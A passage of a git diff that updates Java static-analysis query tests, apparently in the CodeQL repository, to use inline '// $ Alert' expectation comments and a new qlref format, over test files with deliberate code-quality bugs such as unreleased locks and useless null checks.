/** * @param someOtherParameter matched - * @param parameter unmatched + * @param parameter unmatched // $ Alert */ public void problem4(int someOtherParameter){ } /** - * @param unmatched type parameter + * @param unmatched type parameter // $ Alert */ private T problem5(){ return null; } /** * @param matched type parameter - * @param

    unmatched type parameter - * @param n unmatched normal parameter + * @param

    unmatched type parameter // $ Alert + * @param n unmatched normal parameter // $ Alert */ private T problem6(V p){ return null; } /** * param with immediate newline - * @param + * @param // $ Alert */ protected void problem7(){ } /** * param without a value (followed by blanks) - * @param + * @param // $ Alert */ protected void problem8(){ } class SomeClass { /** * @param i exists - * @param k does not + * @param k does not // $ Alert */ SomeClass(int i, int j) {} } /** * @param exists - * @param T wrong syntax - * @param does not exist + * @param T wrong syntax // $ Alert + * @param does not exist // $ Alert */ class GenericClass {} /** * @param exists - * @param T wrong syntax - * @param does not exist + * @param T wrong syntax // $ Alert + * @param does not exist // $ Alert */ interface GenericInterface {} /** * @param i exists - * @param k does not + * @param k does not // $ Alert */ static record SomeRecord(int i, int j) {} /** * @param exists - * @param does not + * @param does not // $ Alert * @param i exists - * @param k does not + * @param k does not // $ Alert */ static record GenericRecord(int i, int j) {} } diff --git a/java/ql/test/query-tests/SpuriousJavadocParam/test.qlref b/java/ql/test/query-tests/SpuriousJavadocParam/test.qlref index 05f7231fe6b..85c1971658c 100644 --- a/java/ql/test/query-tests/SpuriousJavadocParam/test.qlref +++ b/java/ql/test/query-tests/SpuriousJavadocParam/test.qlref @@ -1 +1,2 @@ -Advisory/Documentation/SpuriousJavadocParam.ql +query: Advisory/Documentation/SpuriousJavadocParam.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/StartInConstructor/StartInConstructor.qlref b/java/ql/test/query-tests/StartInConstructor/StartInConstructor.qlref index 2f16c25c1ee..e27b98e9e72 100644 --- a/java/ql/test/query-tests/StartInConstructor/StartInConstructor.qlref +++ b/java/ql/test/query-tests/StartInConstructor/StartInConstructor.qlref @@ -1 +1,2 @@ -Likely Bugs/Concurrency/StartInConstructor.ql +query: Likely Bugs/Concurrency/StartInConstructor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/StartInConstructor/Test.java b/java/ql/test/query-tests/StartInConstructor/Test.java index ae8148af787..58883af4ede 100644 --- a/java/ql/test/query-tests/StartInConstructor/Test.java +++ b/java/ql/test/query-tests/StartInConstructor/Test.java @@ -6,7 +6,7 @@ public class Test { public Test() { myThread = new Thread("myThread"); // BAD - myThread.start(); + myThread.start(); // $ Alert } public static final class Final { diff --git a/java/ql/test/query-tests/StaticArray/StaticArray.java b/java/ql/test/query-tests/StaticArray/StaticArray.java index 362d6fefcef..b24fa5526b1 100644 --- a/java/ql/test/query-tests/StaticArray/StaticArray.java +++ b/java/ql/test/query-tests/StaticArray/StaticArray.java @@ -1,6 +1,6 @@ class StaticArray { - public static final int[] bad = new int[42]; //NOT OK + public static final int[] bad = new int[42]; // $ Alert //NOT OK protected static final int[] good_protected = new int[42]; //OK (protected arrays are ok) /* default */ static final int[] good_default = new int[42]; //OK (default access arrays are ok) @@ -11,10 +11,10 @@ class StaticArray public /* final */ static int[] good_nonfinal = new int[42]; //OK (non-final arrays are ok) public static final Object good_not_array = new int[42]; //OK (non-arrays are ok) - public static final int[][][] bad_multidimensional = new int[42][42][42]; //NOT OK - public static final int[][][] bad_multidimensional_partial_init = new int[42][][]; //NOT OK + public static final int[][][] bad_multidimensional = new int[42][42][42]; // $ Alert //NOT OK + public static final int[][][] bad_multidimensional_partial_init = new int[42][][]; // $ Alert //NOT OK - public static final int[] bad_separate_init; //NOT OK + public static final int[] bad_separate_init; // $ Alert //NOT OK static { bad_separate_init = new int[42]; @@ -23,6 +23,6 @@ class StaticArray public static final int[] good_empty = new int[0]; //OK (empty array creation) public static final int[] good_empty2 = {}; //OK (empty array literal) public static final int[][] good_empty_multidimensional = new int[0][42]; //OK (empty array) - public static final int[][] bad_nonempty = { {} }; //NOT OK (first dimension is 1, so not empty) + public static final int[][] bad_nonempty = { {} }; // $ Alert //NOT OK (first dimension is 1, so not empty) } diff --git a/java/ql/test/query-tests/StaticArray/StaticArray.qlref b/java/ql/test/query-tests/StaticArray/StaticArray.qlref index 1c28ac13a16..f0cae39a882 100644 --- a/java/ql/test/query-tests/StaticArray/StaticArray.qlref +++ b/java/ql/test/query-tests/StaticArray/StaticArray.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Implementation Hiding/StaticArray.ql \ No newline at end of file +query: Violations of Best Practice/Implementation Hiding/StaticArray.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/StringComparison/StringComparison.java b/java/ql/test/query-tests/StringComparison/StringComparison.java index e777b75a3f1..f1156a3e706 100644 --- a/java/ql/test/query-tests/StringComparison/StringComparison.java +++ b/java/ql/test/query-tests/StringComparison/StringComparison.java @@ -20,13 +20,13 @@ class StringComparison { if("".equals(variable)) return; // NOT OK - if("" == variable) + if("" == variable) // $ Alert return; // NOT OK - if("" == param) + if("" == param) // $ Alert return; // NOT OK - if("" == variable2) + if("" == variable2) // $ Alert return; } } diff --git a/java/ql/test/query-tests/StringComparison/StringComparison.qlref b/java/ql/test/query-tests/StringComparison/StringComparison.qlref index a50debd9378..ecf6c270f7e 100644 --- a/java/ql/test/query-tests/StringComparison/StringComparison.qlref +++ b/java/ql/test/query-tests/StringComparison/StringComparison.qlref @@ -1 +1,2 @@ -Likely Bugs/Comparison/StringComparison.ql \ No newline at end of file +query: Likely Bugs/Comparison/StringComparison.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/StringFormat/A.java b/java/ql/test/query-tests/StringFormat/A.java index ff87290bcc9..88d651c8725 100644 --- a/java/ql/test/query-tests/StringFormat/A.java +++ b/java/ql/test/query-tests/StringFormat/A.java @@ -6,28 +6,28 @@ import java.io.File; public class A { void f_string() { - String.format("%s%s", ""); // missing + String.format("%s%s", ""); // $ Alert[java/missing-format-argument] // missing } void f_formatter(Formatter x) { - x.format("%s%s", ""); // missing + x.format("%s%s", ""); // $ Alert[java/missing-format-argument] // missing } void f_printstream(PrintStream x) { - x.format("%s%s", ""); // missing - x.printf("%s%s", ""); // missing + x.format("%s%s", ""); // $ Alert[java/missing-format-argument] // missing + x.printf("%s%s", ""); // $ Alert[java/missing-format-argument] // missing } void f_printwriter(PrintWriter x) { - x.format("%s%s", ""); // missing - x.printf("%s%s", ""); // missing + x.format("%s%s", ""); // $ Alert[java/missing-format-argument] // missing + x.printf("%s%s", ""); // $ Alert[java/missing-format-argument] // missing } void f_console(Console x) { - x.format("%s%s", ""); // missing - x.printf("%s%s", ""); // missing - x.readLine("%s%s", ""); // missing - x.readPassword("%s%s", ""); // missing + x.format("%s%s", ""); // $ Alert[java/missing-format-argument] // missing + x.printf("%s%s", ""); // $ Alert[java/missing-format-argument] // missing + x.readLine("%s%s", ""); // $ Alert[java/missing-format-argument] // missing + x.readPassword("%s%s", ""); // $ Alert[java/missing-format-argument] // missing } void custom_format(Object o, String fmt, Object... args) { @@ -35,20 +35,20 @@ public class A { } void f_wrapper() { - custom_format(new Object(), "%s%s", ""); // missing + custom_format(new Object(), "%s%s", ""); // $ Alert[java/missing-format-argument] // missing } void f() { - String.format("%s", "", ""); // unused - String.format("s", ""); // unused - String.format("%2$s %2$s", "", ""); // unused + String.format("%s", "", ""); // $ Alert[java/unused-format-argument] // unused + String.format("s", ""); // $ Alert[java/unused-format-argument] // unused + String.format("%2$s %2$s", "", ""); // $ Alert[java/unused-format-argument] // unused String.format("%2$s %1$s", "", ""); // ok - String.format("%2$s %s", ""); // missing - String.format("%s% { T t; void test(String s) { - t.equals(s); + t.equals(s); // $ Alert[java/equals-on-unrelated-types] t.equals(this); } } diff --git a/java/ql/test/query-tests/TypeMismatch/incomparable_equals/F.java b/java/ql/test/query-tests/TypeMismatch/incomparable_equals/F.java index 52c41537437..a87667dd9d4 100644 --- a/java/ql/test/query-tests/TypeMismatch/incomparable_equals/F.java +++ b/java/ql/test/query-tests/TypeMismatch/incomparable_equals/F.java @@ -2,6 +2,6 @@ package incomparable_equals; public class F { void m(int[] l, int[][] r) { - l.equals(r); + l.equals(r); // $ Alert[java/equals-on-unrelated-types] } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/TypeMismatch/remove_type_mismatch/A.java b/java/ql/test/query-tests/TypeMismatch/remove_type_mismatch/A.java index 92b369da370..1dd72e43240 100644 --- a/java/ql/test/query-tests/TypeMismatch/remove_type_mismatch/A.java +++ b/java/ql/test/query-tests/TypeMismatch/remove_type_mismatch/A.java @@ -4,12 +4,12 @@ import java.util.Collection; public class A { void test1(Collection c, String s, StringBuffer b) { - c.remove(s); + c.remove(s); // $ Alert[java/type-mismatch-modification] c.remove(b); } void test2(Collection c, A a, String b) { - c.remove(a); + c.remove(a); // $ Alert[java/type-mismatch-modification] c.remove(b); } } @@ -20,7 +20,7 @@ class TestB { Collection coll2 = null; Collection coll3; { - coll3.remove(""); + coll3.remove(""); // $ Alert[java/type-mismatch-modification] } } @@ -30,7 +30,7 @@ class MyIntList extends java.util.LinkedList { class TestC { MyIntList mil; { - mil.remove(""); + mil.remove(""); // $ Alert[java/type-mismatch-modification] } } @@ -40,6 +40,6 @@ class MyOtherIntList extends java.util.LinkedList { class TestD { MyOtherIntList moil; { - moil.remove(""); + moil.remove(""); // $ Alert[java/type-mismatch-modification] } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/UnreadLocal/A.java b/java/ql/test/query-tests/UnreadLocal/A.java index 5591df08634..928de6cd48c 100644 --- a/java/ql/test/query-tests/UnreadLocal/A.java +++ b/java/ql/test/query-tests/UnreadLocal/A.java @@ -26,18 +26,18 @@ public class A { public void ex2() { for (int i = 0; i < 5; i++) { int x = 42; - x = x + 3; // DEAD + x = x + 3; // $ Alert[java/useless-assignment-to-local] // DEAD } } public int ex3(int param) { - param += 3; // DEAD + param += 3; // $ Alert[java/overwritten-assignment-to-local] // DEAD param = 4; int x = 7; - ++x; // DEAD + ++x; // $ Alert[java/overwritten-assignment-to-local] // DEAD x = 10; int y = 5; - y = (++y) + 5; // DEAD (++y) + y = (++y) + 5; // $ Alert[java/overwritten-assignment-to-local] // DEAD (++y) return x + y + param; } @@ -52,7 +52,7 @@ public class A { } int x; try { - x = 5; // DEAD + x = 5; // $ Alert[java/overwritten-assignment-to-local] // DEAD ex3(0); x = 7; ex3(x); @@ -61,7 +61,7 @@ public class A { boolean valid; try { if (ex3(4) > 4) { - valid = false; // DEAD + valid = false; // $ Alert[java/overwritten-assignment-to-local] // DEAD } ex3(0); valid = true; diff --git a/java/ql/test/query-tests/UnreadLocal/DeadStoreOfLocal.qlref b/java/ql/test/query-tests/UnreadLocal/DeadStoreOfLocal.qlref index ece72e5295b..86820a14122 100644 --- a/java/ql/test/query-tests/UnreadLocal/DeadStoreOfLocal.qlref +++ b/java/ql/test/query-tests/UnreadLocal/DeadStoreOfLocal.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Dead Code/DeadStoreOfLocal.ql +query: Violations of Best Practice/Dead Code/DeadStoreOfLocal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/UnreadLocal/DeadStoreOfLocalUnread.qlref b/java/ql/test/query-tests/UnreadLocal/DeadStoreOfLocalUnread.qlref index c3fbaae6b81..81c434f6606 100644 --- a/java/ql/test/query-tests/UnreadLocal/DeadStoreOfLocalUnread.qlref +++ b/java/ql/test/query-tests/UnreadLocal/DeadStoreOfLocalUnread.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Dead Code/DeadStoreOfLocalUnread.ql +query: Violations of Best Practice/Dead Code/DeadStoreOfLocalUnread.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/UnreadLocal/UnreadLocal.qlref b/java/ql/test/query-tests/UnreadLocal/UnreadLocal.qlref index 5a77117711e..dc6fb57ca6a 100644 --- a/java/ql/test/query-tests/UnreadLocal/UnreadLocal.qlref +++ b/java/ql/test/query-tests/UnreadLocal/UnreadLocal.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Dead Code/UnreadLocal.ql +query: Violations of Best Practice/Dead Code/UnreadLocal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/UnreadLocal/UnreadLocal/ImplicitReads.java b/java/ql/test/query-tests/UnreadLocal/UnreadLocal/ImplicitReads.java index bd87047a086..236b97562f7 100644 --- a/java/ql/test/query-tests/UnreadLocal/UnreadLocal/ImplicitReads.java +++ b/java/ql/test/query-tests/UnreadLocal/UnreadLocal/ImplicitReads.java @@ -35,7 +35,7 @@ public class ImplicitReads System.out.println("test"); } // Assignment is useless - c = b; + c = b; // $ Alert[java/useless-assignment-to-local] // Not flagged due to implicit read in implicit finally block try(B d = b) {} } diff --git a/java/ql/test/query-tests/UnreadLocal/UnreadLocal/UnreadLocals.java b/java/ql/test/query-tests/UnreadLocal/UnreadLocal/UnreadLocals.java index 305b3947de6..5b2168b79d3 100644 --- a/java/ql/test/query-tests/UnreadLocal/UnreadLocal/UnreadLocals.java +++ b/java/ql/test/query-tests/UnreadLocal/UnreadLocal/UnreadLocals.java @@ -14,13 +14,13 @@ public class UnreadLocals public UnreadLocals () { - int alpha = 2; + int alpha = 2; // $ Alert[java/local-variable-is-never-read] int _beta = 4; this.alpha = 3; beta = _beta; Something something1 = new Something(); - Something something2 = new Something(); + Something something2 = new Something(); // $ Alert[java/local-variable-is-never-read] something = something1; diff --git a/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.java b/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.java index 2aadb5044be..4b97a239be4 100644 --- a/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.java +++ b/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.java @@ -12,7 +12,7 @@ class Test { MyLock mylock = new MyLock(); void bad1() { - mylock.lock(); + mylock.lock(); // $ Alert f(); mylock.unlock(); } @@ -27,7 +27,7 @@ class Test { } void bad3() { - mylock.lock(); + mylock.lock(); // $ Alert f(); try { g(); @@ -37,7 +37,7 @@ class Test { } void bad4() { - mylock.lock(); + mylock.lock(); // $ Alert try { f(); } finally { @@ -47,7 +47,7 @@ class Test { } void bad5(boolean lockmore) { - mylock.lock(); + mylock.lock(); // $ Alert try { f(); if (lockmore) { @@ -69,7 +69,7 @@ class Test { } void bad7() { - if (!mylock.tryLock()) { return; } + if (!mylock.tryLock()) { return; } // $ Alert f(); mylock.unlock(); } @@ -111,7 +111,7 @@ class Test { void bad10() { boolean locked = false; try { - locked = mylock.tryLock(); + locked = mylock.tryLock(); // $ Alert if (!locked) { return; } } finally { if (locked) { diff --git a/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.qlref b/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.qlref index 34ea40ac566..37dfff0e946 100644 --- a/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.qlref +++ b/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.qlref @@ -1 +1,2 @@ -Likely Bugs/Concurrency/UnreleasedLock.ql +query: Likely Bugs/Concurrency/UnreleasedLock.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/UseBraces/UseBraces.java b/java/ql/test/query-tests/UseBraces/UseBraces.java index 756050b2c44..0177d68571e 100644 --- a/java/ql/test/query-tests/UseBraces/UseBraces.java +++ b/java/ql/test/query-tests/UseBraces/UseBraces.java @@ -25,11 +25,11 @@ class UseBraces g(); // No alert if(1==1) - f(); + f(); // $ Alert g(); // Alert if(1==1) - f(); g(); // Alert + f(); g(); // $ Alert // Alert // If-then-else statement @@ -55,7 +55,7 @@ class UseBraces f(); } else - f(); + f(); // $ Alert g(); // Alert if(true) @@ -63,7 +63,7 @@ class UseBraces f(); } else - f(); g(); // Alert + f(); g(); // $ Alert // Alert // While statement @@ -79,12 +79,12 @@ class UseBraces g(); while(bb ) - f(); + f(); // $ Alert g(); // Alert g(); // No alert while(bb ) - f(); g(); // Alert + f(); g(); // $ Alert // Alert while(bb) @@ -109,11 +109,11 @@ class UseBraces g(); for(int i=0; i<10; ++i) - f(); + f(); // $ Alert g(); // Alert for(int i=0; i<10; ++i) - f(); g(); // Alert + f(); g(); // $ Alert // Alert // Foreach statement @@ -129,11 +129,11 @@ class UseBraces f(); for( int b : branches) - f(); + f(); // $ Alert g(); // Alert for( int b : branches) - f(); g(); // Alert + f(); g(); // $ Alert // Alert // Nested ifs if( true ) @@ -142,7 +142,7 @@ class UseBraces g(); // No alert if( true ) - if(false) + if(false) // $ Alert f(); g(); // Alert @@ -163,7 +163,7 @@ class UseBraces if( true ) ; else if (false) - f(); + f(); // $ Alert g(); // Alert // Nested combinations @@ -173,7 +173,7 @@ class UseBraces g(); // No alert if (true) - while (x<10) + while (x<10) // $ Alert f(); g(); // Alert @@ -183,7 +183,7 @@ class UseBraces g(); // No alert while (x<10) - if (true) + if (true) // $ Alert f(); g(); // Alert diff --git a/java/ql/test/query-tests/UseBraces/UseBraces.qlref b/java/ql/test/query-tests/UseBraces/UseBraces.qlref index 5d1d4a06388..e89389461d7 100644 --- a/java/ql/test/query-tests/UseBraces/UseBraces.qlref +++ b/java/ql/test/query-tests/UseBraces/UseBraces.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/UseBraces.ql +query: Likely Bugs/Statements/UseBraces.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/UselessComparisonTest/A.java b/java/ql/test/query-tests/UselessComparisonTest/A.java index abc525ff20d..a7689b49c52 100644 --- a/java/ql/test/query-tests/UselessComparisonTest/A.java +++ b/java/ql/test/query-tests/UselessComparisonTest/A.java @@ -12,35 +12,35 @@ public class A { x++; if (x - 1 == 2) return; x--; - if (x >= 2) unreachable(); // useless test + if (x >= 2) unreachable(); // $ Alert // useless test } if (y > 0) { int z = (x >= 0) ? x : y; - if (z < 0) unreachable(); // useless test + if (z < 0) unreachable(); // $ Alert // useless test } int k; while ((k = getInt()) >= 0) { - if (k < 0) unreachable(); // useless test + if (k < 0) unreachable(); // $ Alert // useless test } if (x > 0) { int z = x & y; - if (!(z <= x)) unreachable(); // useless test + if (!(z <= x)) unreachable(); // $ Alert // useless test } if (x % 2 == 0) { for (int i = 0; i < x; i+=2) { - if (i + 1 >= x) unreachable(); // useless test + if (i + 1 >= x) unreachable(); // $ Alert // useless test } } int r = new Random().nextInt(x); - if (r >= x) unreachable(); // useless test + if (r >= x) unreachable(); // $ Alert // useless test - if (x > Math.max(x, y)) unreachable(); // useless test - if (x < Math.min(x, y)) unreachable(); // useless test + if (x > Math.max(x, y)) unreachable(); // $ Alert // useless test + if (x < Math.min(x, y)) unreachable(); // $ Alert // useless test int w; if (x > 7) { @@ -52,17 +52,17 @@ public class A { } w--; w -= 2; - if (w <= 5) unreachable(); // useless test + if (w <= 5) unreachable(); // $ Alert // useless test while ((w--) > 0) { - if (w < 0) unreachable(); // useless test + if (w < 0) unreachable(); // $ Alert // useless test } - if (w != -1) unreachable(); // useless test + if (w != -1) unreachable(); // $ Alert // useless test if (x > 20) { int i; for (i = x; i > 0; i--) { } - if (i != 0) unreachable(); // useless test + if (i != 0) unreachable(); // $ Alert // useless test } if (getInt() > 0) { @@ -73,7 +73,7 @@ public class A { } else { if (z >= 4) return; } - if (z >= 4) unreachable(); // useless test + if (z >= 4) unreachable(); // $ Alert // useless test } int length = getInt(); @@ -81,11 +81,11 @@ public class A { int cnt = getInt(); length -= cnt; } - for (int i = 0; i < length; ++i) { } // useless test + for (int i = 0; i < length; ++i) { } // $ Alert // useless test int b = getInt(); if (b > 4) b = 8; - if (b > 8) unreachable(); // useless test + if (b > 8) unreachable(); // $ Alert // useless test int sz = getInt(); if (0 < x && x < sz) { diff --git a/java/ql/test/query-tests/UselessComparisonTest/CharLiterals.java b/java/ql/test/query-tests/UselessComparisonTest/CharLiterals.java index ac90e911ca6..90d8ee0b883 100644 --- a/java/ql/test/query-tests/UselessComparisonTest/CharLiterals.java +++ b/java/ql/test/query-tests/UselessComparisonTest/CharLiterals.java @@ -1,7 +1,7 @@ public class CharLiterals { public static boolean redundantSurrogateRange(char c) { if(c >= '\uda00') { - if(c >= '\ud900') { + if(c >= '\ud900') { // $ Alert return true; } } @@ -19,7 +19,7 @@ public class CharLiterals { public static boolean redundantNonSurrogateRange(char c) { if(c >= 'b') { - if(c >= 'a') { + if(c >= 'a') { // $ Alert return true; } } @@ -39,7 +39,7 @@ public class CharLiterals { if(c == '\uda00') { return true; } - else if(c == '\uda00') { + else if(c == '\uda00') { // $ Alert return true; } return false; @@ -59,7 +59,7 @@ public class CharLiterals { if(c == 'a') { return true; } - else if(c == 'a') { + else if(c == 'a') { // $ Alert return true; } return false; diff --git a/java/ql/test/query-tests/UselessComparisonTest/Test.java b/java/ql/test/query-tests/UselessComparisonTest/Test.java index eafac84dea5..a4c8e31706f 100644 --- a/java/ql/test/query-tests/UselessComparisonTest/Test.java +++ b/java/ql/test/query-tests/UselessComparisonTest/Test.java @@ -6,28 +6,28 @@ class Test { throw new Error(); } int y = 0; - if (x >= 0) y++; // useless test due to test in line 5 being false - if (z >= 0) y++; // useless test due to test in line 5 being false + if (x >= 0) y++; // $ Alert // useless test due to test in line 5 being false + if (z >= 0) y++; // $ Alert // useless test due to test in line 5 being false while(x >= 0) { if (y < 10) { z++; - if (y == 15) z++; // useless test due to test in line 12 being true + if (y == 15) z++; // $ Alert // useless test due to test in line 12 being true y++; z--; - } else if (y > 7) { // useless test due to test in line 12 being false + } else if (y > 7) { // $ Alert // useless test due to test in line 12 being false y--; } - if (!(y != 5) && z >= 0) { // z >= 0 is always true due to line 5 (and z being increasing) - int w = y < 3 ? 0 : 1; // useless test due to test in line 20 being true + if (!(y != 5) && z >= 0) { // $ Alert // z >= 0 is always true due to line 5 (and z being increasing) + int w = y < 3 ? 0 : 1; // $ Alert // useless test due to test in line 20 being true } x--; } } void test2(int x) { if (x != 0) { - int w = x == 0 ? 1 : 2; // useless test due to test in line 27 being true + int w = x == 0 ? 1 : 2; // $ Alert // useless test due to test in line 27 being true x--; - } else if (x == 0) { // useless test due to test in line 27 being false + } else if (x == 0) { // $ Alert // useless test due to test in line 27 being false x++; } } diff --git a/java/ql/test/query-tests/UselessComparisonTest/UselessComparisonTest.qlref b/java/ql/test/query-tests/UselessComparisonTest/UselessComparisonTest.qlref index d567af5db1b..fc8aaa7ab6f 100644 --- a/java/ql/test/query-tests/UselessComparisonTest/UselessComparisonTest.qlref +++ b/java/ql/test/query-tests/UselessComparisonTest/UselessComparisonTest.qlref @@ -1 +1,2 @@ -Likely Bugs/Comparison/UselessComparisonTest.ql +query: Likely Bugs/Comparison/UselessComparisonTest.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/UselessNullCheck/A.java b/java/ql/test/query-tests/UselessNullCheck/A.java index 009f5efadd3..232534c0e7f 100644 --- a/java/ql/test/query-tests/UselessNullCheck/A.java +++ b/java/ql/test/query-tests/UselessNullCheck/A.java @@ -1,12 +1,12 @@ public class A { void f() { Object o = new Object(); - if (o == null) { } // Useless check - if (o != null) { } // Useless check + if (o == null) { } // $ Alert // Useless check + if (o != null) { } // $ Alert // Useless check try { new Object(); } catch(Exception e) { - if (e == null) { // Useless check + if (e == null) { // $ Alert // Useless check throw new Error(); } } @@ -15,7 +15,7 @@ public class A { void g(Object o) { if (o instanceof A) { A a = (A)o; - if (a != null) { // Useless check + if (a != null) { // $ Alert // Useless check throw new Error(); } } @@ -28,7 +28,7 @@ public class A { I h() { final A x = this; return () -> { - if (x != null) { // Useless check + if (x != null) { // $ Alert // Useless check return x; } return new A(); @@ -37,9 +37,9 @@ public class A { Object f2(Object x) { if (x == null) { - return this != null ? this : null; // Useless check + return this != null ? this : null; // $ Alert // Useless check } - if (x != null) { // Useless check + if (x != null) { // $ Alert // Useless check return x; } return null; @@ -49,7 +49,7 @@ public class A { public void ex12() { finalObj.hashCode(); - if (finalObj != null) { // Useless check + if (finalObj != null) { // $ Alert // Useless check finalObj.hashCode(); } } diff --git a/java/ql/test/query-tests/UselessNullCheck/UselessNullCheck.qlref b/java/ql/test/query-tests/UselessNullCheck/UselessNullCheck.qlref index 8b5a095d396..68c4adcf428 100644 --- a/java/ql/test/query-tests/UselessNullCheck/UselessNullCheck.qlref +++ b/java/ql/test/query-tests/UselessNullCheck/UselessNullCheck.qlref @@ -1 +1,2 @@ -Language Abuse/UselessNullCheck.ql +query: Language Abuse/UselessNullCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/UselessUpcast/Test.java b/java/ql/test/query-tests/UselessUpcast/Test.java index 497957da5f7..68debb06029 100644 --- a/java/ql/test/query-tests/UselessUpcast/Test.java +++ b/java/ql/test/query-tests/UselessUpcast/Test.java @@ -18,11 +18,11 @@ class Test extends TestSuper { // OK new Test((Super)s); // NOT OK - Super o = (Super)s; + Super o = (Super)s; // $ Alert // OK foo((Super)s); // NOT OK - bar((Super)s); + bar((Super)s); // $ Alert // OK baz((Super)s); // OK @@ -37,4 +37,4 @@ class Test extends TestSuper { void bar(Super o) {} void baz(Super o) {} -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/UselessUpcast/Test2.java b/java/ql/test/query-tests/UselessUpcast/Test2.java index 0ae86ec7923..c1c884b5b00 100644 --- a/java/ql/test/query-tests/UselessUpcast/Test2.java +++ b/java/ql/test/query-tests/UselessUpcast/Test2.java @@ -5,7 +5,7 @@ public class Test2 { public static void main(Sub[] args) { Map m = new HashMap<>(); Sub k = null, v = null; - m.put(k, (Super) v); + m.put(k, (Super) v); // $ Alert m.put(k, v); } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/UselessUpcast/UselessUpcast.qlref b/java/ql/test/query-tests/UselessUpcast/UselessUpcast.qlref index f0a49b78b14..d48a3f98942 100644 --- a/java/ql/test/query-tests/UselessUpcast/UselessUpcast.qlref +++ b/java/ql/test/query-tests/UselessUpcast/UselessUpcast.qlref @@ -1 +1,2 @@ -Language Abuse/UselessUpcast.ql \ No newline at end of file +query: Language Abuse/UselessUpcast.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.java b/java/ql/test/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.java index db76f4f7355..227f04137d5 100644 --- a/java/ql/test/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.java +++ b/java/ql/test/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.java @@ -1,6 +1,6 @@ public class WhitespaceContradictsPrecedence { int bad(int x) { - return x + x>>1; + return x + x>>1; // $ Alert } int ok1(int x) { @@ -26,4 +26,4 @@ public class WhitespaceContradictsPrecedence { int ok6(int x) { return x + x>> 1; } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref b/java/ql/test/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref index e8331b4132f..470fdcfe273 100644 --- a/java/ql/test/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref +++ b/java/ql/test/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/WhitespaceContradictsPrecedence.ql \ No newline at end of file +query: Likely Bugs/Arithmetic/WhitespaceContradictsPrecedence.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/WriteOnlyContainer/CollectionTest.java b/java/ql/test/query-tests/WriteOnlyContainer/CollectionTest.java index f6dced779fa..2f57771ceae 100644 --- a/java/ql/test/query-tests/WriteOnlyContainer/CollectionTest.java +++ b/java/ql/test/query-tests/WriteOnlyContainer/CollectionTest.java @@ -35,7 +35,7 @@ public class CollectionTest { } // should be flagged - private List useless = new ArrayList(); + private List useless = new ArrayList(); // $ Alert { useless.add(23); useless.remove(0); @@ -49,4 +49,4 @@ public class CollectionTest { @interface MyReflectionAnnotation {} @MyReflectionAnnotation private List l8 = new ArrayList(); -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/WriteOnlyContainer/MapTest.java b/java/ql/test/query-tests/WriteOnlyContainer/MapTest.java index 201b7134af5..ee7071513c0 100644 --- a/java/ql/test/query-tests/WriteOnlyContainer/MapTest.java +++ b/java/ql/test/query-tests/WriteOnlyContainer/MapTest.java @@ -35,7 +35,7 @@ public class MapTest { } // should be flagged - private Map useless = new HashMap(); + private Map useless = new HashMap(); // $ Alert { useless.put("hello", 23); useless.remove("hello"); @@ -49,4 +49,4 @@ public class MapTest { @interface MyReflectionAnnotation {} @MyReflectionAnnotation private Map l8 = new HashMap(); -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/WriteOnlyContainer/WriteOnlyContainer.qlref b/java/ql/test/query-tests/WriteOnlyContainer/WriteOnlyContainer.qlref index fc4d4c2a39b..9d2057a3d37 100644 --- a/java/ql/test/query-tests/WriteOnlyContainer/WriteOnlyContainer.qlref +++ b/java/ql/test/query-tests/WriteOnlyContainer/WriteOnlyContainer.qlref @@ -1 +1,2 @@ -Likely Bugs/Collections/WriteOnlyContainer.ql \ No newline at end of file +query: Likely Bugs/Collections/WriteOnlyContainer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/WrongNanComparison/Test.java b/java/ql/test/query-tests/WrongNanComparison/Test.java index 